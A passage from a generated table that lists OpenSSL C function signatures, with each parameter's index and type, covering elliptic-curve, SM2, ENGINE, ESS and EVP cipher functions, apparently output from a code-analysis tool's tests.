unsigned char *,size_t,BN_CTX *) | | ossl_ec_GFp_simple_oct2point | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *) | | ossl_ec_GFp_simple_oct2point | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *) | | ossl_ec_GFp_simple_oct2point | 2 | const unsigned char * | +| (const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *) | | ossl_ec_GFp_simple_oct2point | 3 | size_t | +| (const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *) | | ossl_ec_GFp_simple_oct2point | 4 | BN_CTX * | +| (const EC_GROUP *,OSSL_LIB_CTX *,const char *,BN_CTX *) | | EC_GROUP_to_params | 0 | const EC_GROUP * | +| (const EC_GROUP *,OSSL_LIB_CTX *,const char *,BN_CTX *) | | EC_GROUP_to_params | 1 | OSSL_LIB_CTX * | +| (const EC_GROUP *,OSSL_LIB_CTX *,const char *,BN_CTX *) | | EC_GROUP_to_params | 2 | const char * | +| (const EC_GROUP *,OSSL_LIB_CTX *,const char *,BN_CTX *) | | EC_GROUP_to_params | 3 | BN_CTX * | +| (const EC_GROUP *,OSSL_PARAM_BLD *,OSSL_PARAM[],OSSL_LIB_CTX *,const char *,BN_CTX *,unsigned char **) | | ossl_ec_group_todata | 0 | const EC_GROUP * | +| (const EC_GROUP *,OSSL_PARAM_BLD *,OSSL_PARAM[],OSSL_LIB_CTX *,const char *,BN_CTX *,unsigned char **) | | ossl_ec_group_todata | 1 | OSSL_PARAM_BLD * | +| (const EC_GROUP *,OSSL_PARAM_BLD *,OSSL_PARAM[],OSSL_LIB_CTX *,const char *,BN_CTX *,unsigned char **) | | ossl_ec_group_todata | 2 | OSSL_PARAM[] | +| (const EC_GROUP *,OSSL_PARAM_BLD *,OSSL_PARAM[],OSSL_LIB_CTX *,const char *,BN_CTX *,unsigned char **) | | ossl_ec_group_todata | 3 | OSSL_LIB_CTX * | +| (const EC_GROUP *,OSSL_PARAM_BLD *,OSSL_PARAM[],OSSL_LIB_CTX *,const char *,BN_CTX *,unsigned char **) | | ossl_ec_group_todata | 4 | const char * | +| (const EC_GROUP *,OSSL_PARAM_BLD *,OSSL_PARAM[],OSSL_LIB_CTX *,const char *,BN_CTX *,unsigned char **) | | ossl_ec_group_todata | 5 | BN_CTX * | +| (const EC_GROUP *,OSSL_PARAM_BLD *,OSSL_PARAM[],OSSL_LIB_CTX *,const char *,BN_CTX *,unsigned char **) | | ossl_ec_group_todata | 6 | unsigned char ** | +| (const EC_GROUP *,const BIGNUM *,EC_POINT *,BN_CTX *) | | EC_POINT_bn2point | 0 | const EC_GROUP * | +| (const EC_GROUP *,const BIGNUM *,EC_POINT *,BN_CTX *) | | EC_POINT_bn2point | 1 | const BIGNUM * | +| (const EC_GROUP *,const BIGNUM *,EC_POINT *,BN_CTX *) | | EC_POINT_bn2point | 2 | EC_POINT * | +| (const EC_GROUP *,const BIGNUM *,EC_POINT *,BN_CTX *) | | EC_POINT_bn2point | 3 | BN_CTX * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | EC_POINT_get_Jprojective_coordinates_GFp | 0 | const EC_GROUP * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | EC_POINT_get_Jprojective_coordinates_GFp | 1 | const EC_POINT * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | EC_POINT_get_Jprojective_coordinates_GFp | 2 | BIGNUM * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | EC_POINT_get_Jprojective_coordinates_GFp | 3 | BIGNUM * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | EC_POINT_get_Jprojective_coordinates_GFp | 4 | BIGNUM * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | EC_POINT_get_Jprojective_coordinates_GFp | 5 | BN_CTX * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_get_Jprojective_coordinates_GFp | 0 | const EC_GROUP * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_get_Jprojective_coordinates_GFp | 1 | const EC_POINT * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_get_Jprojective_coordinates_GFp | 2 | BIGNUM * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_get_Jprojective_coordinates_GFp | 3 | BIGNUM * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_get_Jprojective_coordinates_GFp | 4 | BIGNUM * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_get_Jprojective_coordinates_GFp | 5 | BN_CTX * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_point_get_affine_coordinates | 0 | const EC_GROUP * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_point_get_affine_coordinates | 1 | const EC_POINT * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_point_get_affine_coordinates | 2 | BIGNUM * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_point_get_affine_coordinates | 3 | BIGNUM * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_point_get_affine_coordinates | 4 | BN_CTX * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_point_get_affine_coordinates | 0 | const EC_GROUP * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_point_get_affine_coordinates | 1 | const EC_POINT * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_point_get_affine_coordinates | 2 | BIGNUM * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_point_get_affine_coordinates | 3 | BIGNUM * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_point_get_affine_coordinates | 4 | BN_CTX * | +| (const EC_GROUP *,const EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_is_on_curve | 0 | const EC_GROUP * | +| (const EC_GROUP *,const EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_is_on_curve | 1 | const EC_POINT * | +| (const EC_GROUP *,const EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_is_on_curve | 2 | BN_CTX * | +| (const EC_GROUP *,const EC_POINT *,const EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_cmp | 0 | const EC_GROUP * | +| (const EC_GROUP *,const EC_POINT *,const EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_cmp | 1 | const EC_POINT * | +| (const EC_GROUP *,const EC_POINT *,const EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_cmp | 2 | const EC_POINT * | +| (const EC_GROUP *,const EC_POINT *,const EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_cmp | 3 | BN_CTX * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,BIGNUM *,BN_CTX *) | | EC_POINT_point2bn | 0 | const EC_GROUP * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,BIGNUM *,BN_CTX *) | | EC_POINT_point2bn | 1 | const EC_POINT * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,BIGNUM *,BN_CTX *) | | EC_POINT_point2bn | 2 | point_conversion_form_t | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,BIGNUM *,BN_CTX *) | | EC_POINT_point2bn | 3 | BIGNUM * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,BIGNUM *,BN_CTX *) | | EC_POINT_point2bn | 4 | BN_CTX * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,BN_CTX *) | | EC_POINT_point2hex | 0 | const EC_GROUP * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,BN_CTX *) | | EC_POINT_point2hex | 1 | const EC_POINT * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,BN_CTX *) | | EC_POINT_point2hex | 2 | point_conversion_form_t | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,BN_CTX *) | | EC_POINT_point2hex | 3 | BN_CTX * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char **,BN_CTX *) | | EC_POINT_point2buf | 0 | const EC_GROUP * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char **,BN_CTX *) | | EC_POINT_point2buf | 1 | const EC_POINT * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char **,BN_CTX *) | | EC_POINT_point2buf | 2 | point_conversion_form_t | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char **,BN_CTX *) | | EC_POINT_point2buf | 3 | unsigned char ** | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char **,BN_CTX *) | | EC_POINT_point2buf | 4 | BN_CTX * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | EC_POINT_point2oct | 0 | const EC_GROUP * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | EC_POINT_point2oct | 1 | const EC_POINT * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | EC_POINT_point2oct | 2 | point_conversion_form_t | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | EC_POINT_point2oct | 3 | unsigned char * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | EC_POINT_point2oct | 4 | size_t | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | EC_POINT_point2oct | 5 | BN_CTX * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | ossl_ec_GF2m_simple_point2oct | 0 | const EC_GROUP * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | ossl_ec_GF2m_simple_point2oct | 1 | const EC_POINT * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | ossl_ec_GF2m_simple_point2oct | 2 | point_conversion_form_t | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | ossl_ec_GF2m_simple_point2oct | 3 | unsigned char * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | ossl_ec_GF2m_simple_point2oct | 4 | size_t | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | ossl_ec_GF2m_simple_point2oct | 5 | BN_CTX * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | ossl_ec_GFp_simple_point2oct | 0 | const EC_GROUP * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | ossl_ec_GFp_simple_point2oct | 1 | const EC_POINT * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | ossl_ec_GFp_simple_point2oct | 2 | point_conversion_form_t | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | ossl_ec_GFp_simple_point2oct | 3 | unsigned char * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | ossl_ec_GFp_simple_point2oct | 4 | size_t | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | ossl_ec_GFp_simple_point2oct | 5 | BN_CTX * | +| (const EC_GROUP *,const char *,EC_POINT *,BN_CTX *) | | EC_POINT_hex2point | 0 | const EC_GROUP * | +| (const EC_GROUP *,const char *,EC_POINT *,BN_CTX *) | | EC_POINT_hex2point | 1 | const char * | +| (const EC_GROUP *,const char *,EC_POINT *,BN_CTX *) | | EC_POINT_hex2point | 2 | EC_POINT * | +| (const EC_GROUP *,const char *,EC_POINT *,BN_CTX *) | | EC_POINT_hex2point | 3 | BN_CTX * | +| (const EC_GROUP *,size_t,EC_POINT *[],BN_CTX *) | | EC_POINTs_make_affine | 0 | const EC_GROUP * | +| (const EC_GROUP *,size_t,EC_POINT *[],BN_CTX *) | | EC_POINTs_make_affine | 1 | size_t | +| (const EC_GROUP *,size_t,EC_POINT *[],BN_CTX *) | | EC_POINTs_make_affine | 2 | EC_POINT *[] | +| (const EC_GROUP *,size_t,EC_POINT *[],BN_CTX *) | | EC_POINTs_make_affine | 3 | BN_CTX * | +| (const EC_GROUP *,size_t,EC_POINT *[],BN_CTX *) | | ossl_ec_GFp_simple_points_make_affine | 0 | const EC_GROUP * | +| (const EC_GROUP *,size_t,EC_POINT *[],BN_CTX *) | | ossl_ec_GFp_simple_points_make_affine | 1 | size_t | +| (const EC_GROUP *,size_t,EC_POINT *[],BN_CTX *) | | ossl_ec_GFp_simple_points_make_affine | 2 | EC_POINT *[] | +| (const EC_GROUP *,size_t,EC_POINT *[],BN_CTX *) | | ossl_ec_GFp_simple_points_make_affine | 3 | BN_CTX * | +| (const EC_GROUP *,unsigned char **) | | i2d_ECPKParameters | 0 | const EC_GROUP * | +| (const EC_GROUP *,unsigned char **) | | i2d_ECPKParameters | 1 | unsigned char ** | +| (const EC_GROUP *,unsigned int *) | | EC_GROUP_get_trinomial_basis | 0 | const EC_GROUP * | +| (const EC_GROUP *,unsigned int *) | | EC_GROUP_get_trinomial_basis | 1 | unsigned int * | +| (const EC_GROUP *,unsigned int *,unsigned int *,unsigned int *) | | EC_GROUP_get_pentanomial_basis | 0 | const EC_GROUP * | +| (const EC_GROUP *,unsigned int *,unsigned int *,unsigned int *) | | EC_GROUP_get_pentanomial_basis | 1 | unsigned int * | +| (const EC_GROUP *,unsigned int *,unsigned int *,unsigned int *) | | EC_GROUP_get_pentanomial_basis | 2 | unsigned int * | +| (const EC_GROUP *,unsigned int *,unsigned int *,unsigned int *) | | EC_GROUP_get_pentanomial_basis | 3 | unsigned int * | +| (const EC_KEY *) | | EC_KEY_decoded_from_explicit_params | 0 | const EC_KEY * | +| (const EC_KEY *) | | EC_KEY_dup | 0 | const EC_KEY * | +| (const EC_KEY *) | | EC_KEY_get0_engine | 0 | const EC_KEY * | +| (const EC_KEY *) | | EC_KEY_get0_group | 0 | const EC_KEY * | +| (const EC_KEY *) | | EC_KEY_get0_private_key | 0 | const EC_KEY * | +| (const EC_KEY *) | | EC_KEY_get0_public_key | 0 | const EC_KEY * | +| (const EC_KEY *) | | EC_KEY_get_conv_form | 0 | const EC_KEY * | +| (const EC_KEY *) | | EC_KEY_get_enc_flags | 0 | const EC_KEY * | +| (const EC_KEY *) | | EC_KEY_get_flags | 0 | const EC_KEY * | +| (const EC_KEY *) | | EC_KEY_get_method | 0 | const EC_KEY * | +| (const EC_KEY *) | | ossl_ec_key_get0_propq | 0 | const EC_KEY * | +| (const EC_KEY *) | | ossl_ec_key_get_libctx | 0 | const EC_KEY * | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,const size_t,const uint8_t *,size_t) | | ossl_sm2_do_sign | 0 | const EC_KEY * | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,const size_t,const uint8_t *,size_t) | | ossl_sm2_do_sign | 1 | const EVP_MD * | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,const size_t,const uint8_t *,size_t) | | ossl_sm2_do_sign | 2 | const uint8_t * | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,const size_t,const uint8_t *,size_t) | | ossl_sm2_do_sign | 3 | const size_t | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,const size_t,const uint8_t *,size_t) | | ossl_sm2_do_sign | 4 | const uint8_t * | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,const size_t,const uint8_t *,size_t) | | ossl_sm2_do_sign | 5 | size_t | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *) | | ossl_sm2_decrypt | 0 | const EC_KEY * | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *) | | ossl_sm2_decrypt | 1 | const EVP_MD * | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *) | | ossl_sm2_decrypt | 2 | const uint8_t * | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *) | | ossl_sm2_decrypt | 3 | size_t | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *) | | ossl_sm2_decrypt | 4 | uint8_t * | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *) | | ossl_sm2_decrypt | 5 | size_t * | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *) | | ossl_sm2_encrypt | 0 | const EC_KEY * | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *) | | ossl_sm2_encrypt | 1 | const EVP_MD * | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *) | | ossl_sm2_encrypt | 2 | const uint8_t * | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *) | | ossl_sm2_encrypt | 3 | size_t | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *) | | ossl_sm2_encrypt | 4 | uint8_t * | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *) | | ossl_sm2_encrypt | 5 | size_t * | +| (const EC_KEY *,const EVP_MD *,size_t,size_t *) | | ossl_sm2_ciphertext_size | 0 | const EC_KEY * | +| (const EC_KEY *,const EVP_MD *,size_t,size_t *) | | ossl_sm2_ciphertext_size | 1 | const EVP_MD * | +| (const EC_KEY *,const EVP_MD *,size_t,size_t *) | | ossl_sm2_ciphertext_size | 2 | size_t | +| (const EC_KEY *,const EVP_MD *,size_t,size_t *) | | ossl_sm2_ciphertext_size | 3 | size_t * | +| (const EC_KEY *,int) | | EC_KEY_get_ex_data | 0 | const EC_KEY * | +| (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | int | +| (const EC_KEY *,int) | | ossl_ec_key_dup | 0 | const EC_KEY * | +| (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | int | +| (const EC_KEY *,point_conversion_form_t,unsigned char **,BN_CTX *) | | EC_KEY_key2buf | 0 | const EC_KEY * | +| (const EC_KEY *,point_conversion_form_t,unsigned char **,BN_CTX *) | | EC_KEY_key2buf | 1 | point_conversion_form_t | +| (const EC_KEY *,point_conversion_form_t,unsigned char **,BN_CTX *) | | EC_KEY_key2buf | 2 | unsigned char ** | +| (const EC_KEY *,point_conversion_form_t,unsigned char **,BN_CTX *) | | EC_KEY_key2buf | 3 | BN_CTX * | +| (const EC_KEY *,unsigned char **) | | i2d_ECParameters | 0 | const EC_KEY * | +| (const EC_KEY *,unsigned char **) | | i2d_ECParameters | 1 | unsigned char ** | +| (const EC_KEY *,unsigned char **) | | i2d_ECPrivateKey | 0 | const EC_KEY * | +| (const EC_KEY *,unsigned char **) | | i2d_ECPrivateKey | 1 | unsigned char ** | +| (const EC_KEY *,unsigned char **) | | i2d_EC_PUBKEY | 0 | const EC_KEY * | +| (const EC_KEY *,unsigned char **) | | i2d_EC_PUBKEY | 1 | unsigned char ** | +| (const EC_KEY *,unsigned char **) | | i2o_ECPublicKey | 0 | const EC_KEY * | +| (const EC_KEY *,unsigned char **) | | i2o_ECPublicKey | 1 | unsigned char ** | +| (const EC_KEY *,unsigned char *,size_t) | | ossl_ec_key_simple_priv2oct | 0 | const EC_KEY * | +| (const EC_KEY *,unsigned char *,size_t) | | ossl_ec_key_simple_priv2oct | 1 | unsigned char * | +| (const EC_KEY *,unsigned char *,size_t) | | ossl_ec_key_simple_priv2oct | 2 | size_t | +| (const EC_KEY_METHOD *) | | EC_KEY_METHOD_new | 0 | const EC_KEY_METHOD * | +| (const EC_KEY_METHOD *,..(**)(..)) | | EC_KEY_METHOD_get_compute_key | 0 | const EC_KEY_METHOD * | +| (const EC_KEY_METHOD *,..(**)(..)) | | EC_KEY_METHOD_get_compute_key | 1 | ..(**)(..) | +| (const EC_KEY_METHOD *,..(**)(..)) | | EC_KEY_METHOD_get_keygen | 0 | const EC_KEY_METHOD * | +| (const EC_KEY_METHOD *,..(**)(..)) | | EC_KEY_METHOD_get_keygen | 1 | ..(**)(..) | +| (const EC_KEY_METHOD *,..(**)(..),..(**)(..)) | | EC_KEY_METHOD_get_verify | 0 | const EC_KEY_METHOD * | +| (const EC_KEY_METHOD *,..(**)(..),..(**)(..)) | | EC_KEY_METHOD_get_verify | 1 | ..(**)(..) | +| (const EC_KEY_METHOD *,..(**)(..),..(**)(..)) | | EC_KEY_METHOD_get_verify | 2 | ..(**)(..) | +| (const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..)) | | EC_KEY_METHOD_get_sign | 0 | const EC_KEY_METHOD * | +| (const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..)) | | EC_KEY_METHOD_get_sign | 1 | ..(**)(..) | +| (const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..)) | | EC_KEY_METHOD_get_sign | 2 | ..(**)(..) | +| (const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..)) | | EC_KEY_METHOD_get_sign | 3 | ..(**)(..) | +| (const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..)) | | EC_KEY_METHOD_get_init | 0 | const EC_KEY_METHOD * | +| (const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..)) | | EC_KEY_METHOD_get_init | 1 | ..(**)(..) | +| (const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..)) | | EC_KEY_METHOD_get_init | 2 | ..(**)(..) | +| (const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..)) | | EC_KEY_METHOD_get_init | 3 | ..(**)(..) | +| (const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..)) | | EC_KEY_METHOD_get_init | 4 | ..(**)(..) | +| (const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..)) | | EC_KEY_METHOD_get_init | 5 | ..(**)(..) | +| (const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..)) | | EC_KEY_METHOD_get_init | 6 | ..(**)(..) | +| (const EC_METHOD *) | | EC_GROUP_new | 0 | const EC_METHOD * | +| (const EC_METHOD *) | | EC_METHOD_get_field_type | 0 | const EC_METHOD * | +| (const EC_POINT *) | | EC_POINT_method_of | 0 | const EC_POINT * | +| (const EC_POINT *,const EC_GROUP *) | | EC_POINT_dup | 0 | const EC_POINT * | +| (const EC_POINT *,const EC_GROUP *) | | EC_POINT_dup | 1 | const EC_GROUP * | +| (const EC_PRIVATEKEY *,unsigned char **) | | i2d_EC_PRIVATEKEY | 0 | const EC_PRIVATEKEY * | +| (const EC_PRIVATEKEY *,unsigned char **) | | i2d_EC_PRIVATEKEY | 1 | unsigned char ** | +| (const EDIPARTYNAME *,unsigned char **) | | i2d_EDIPARTYNAME | 0 | const EDIPARTYNAME * | +| (const EDIPARTYNAME *,unsigned char **) | | i2d_EDIPARTYNAME | 1 | unsigned char ** | +| (const ENGINE *) | | ENGINE_get_DH | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_DSA | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_EC | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_RAND | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_RSA | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_ciphers | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_cmd_defns | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_ctrl_function | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_destroy_function | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_digests | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_finish_function | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_flags | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_id | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_init_function | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_load_privkey_function | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_load_pubkey_function | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_name | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_pkey_asn1_meths | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_pkey_meths | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_ssl_client_cert_function | 0 | const ENGINE * | +| (const ENGINE *,int) | | ENGINE_get_ex_data | 0 | const ENGINE * | +| (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | int | +| (const ERR_STRING_DATA *) | | ERR_load_strings_const | 0 | const ERR_STRING_DATA * | +| (const ESS_CERT_ID *) | | ESS_CERT_ID_dup | 0 | const ESS_CERT_ID * | +| (const ESS_CERT_ID *,unsigned char **) | | i2d_ESS_CERT_ID | 0 | const ESS_CERT_ID * | +| (const ESS_CERT_ID *,unsigned char **) | | i2d_ESS_CERT_ID | 1 | unsigned char ** | +| (const ESS_CERT_ID_V2 *) | | ESS_CERT_ID_V2_dup | 0 | const ESS_CERT_ID_V2 * | +| (const ESS_CERT_ID_V2 *,unsigned char **) | | i2d_ESS_CERT_ID_V2 | 0 | const ESS_CERT_ID_V2 * | +| (const ESS_CERT_ID_V2 *,unsigned char **) | | i2d_ESS_CERT_ID_V2 | 1 | unsigned char ** | +| (const ESS_ISSUER_SERIAL *) | | ESS_ISSUER_SERIAL_dup | 0 | const ESS_ISSUER_SERIAL * | +| (const ESS_ISSUER_SERIAL *,unsigned char **) | | i2d_ESS_ISSUER_SERIAL | 0 | const ESS_ISSUER_SERIAL * | +| (const ESS_ISSUER_SERIAL *,unsigned char **) | | i2d_ESS_ISSUER_SERIAL | 1 | unsigned char ** | +| (const ESS_SIGNING_CERT *) | | ESS_SIGNING_CERT_dup | 0 | const ESS_SIGNING_CERT * | +| (const ESS_SIGNING_CERT *,unsigned char **) | | i2d_ESS_SIGNING_CERT | 0 | const ESS_SIGNING_CERT * | +| (const ESS_SIGNING_CERT *,unsigned char **) | | i2d_ESS_SIGNING_CERT | 1 | unsigned char ** | +| (const ESS_SIGNING_CERT_V2 *) | | ESS_SIGNING_CERT_V2_dup | 0 | const ESS_SIGNING_CERT_V2 * | +| (const ESS_SIGNING_CERT_V2 *,unsigned char **) | | i2d_ESS_SIGNING_CERT_V2 | 0 | const ESS_SIGNING_CERT_V2 * | +| (const ESS_SIGNING_CERT_V2 *,unsigned char **) | | i2d_ESS_SIGNING_CERT_V2 | 1 | unsigned char ** | +| (const EVP_ASYM_CIPHER *) | | EVP_ASYM_CIPHER_get0_description | 0 | const EVP_ASYM_CIPHER * | +| (const EVP_ASYM_CIPHER *) | | EVP_ASYM_CIPHER_get0_name | 0 | const EVP_ASYM_CIPHER * | +| (const EVP_ASYM_CIPHER *) | | EVP_ASYM_CIPHER_get0_provider | 0 | const EVP_ASYM_CIPHER * | +| (const EVP_ASYM_CIPHER *) | | evp_asym_cipher_get_number | 0 | const EVP_ASYM_CIPHER * | +| (const EVP_ASYM_CIPHER *,..(*)(..),void *) | | EVP_ASYM_CIPHER_names_do_all | 0 | const EVP_ASYM_CIPHER * | +| (const EVP_ASYM_CIPHER *,..(*)(..),void *) | | EVP_ASYM_CIPHER_names_do_all | 1 | ..(*)(..) | +| (const EVP_ASYM_CIPHER *,..(*)(..),void *) | | EVP_ASYM_CIPHER_names_do_all | 2 | void * | +| (const EVP_CIPHER *) | | EVP_CIPHER_get0_description | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_get0_name | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | 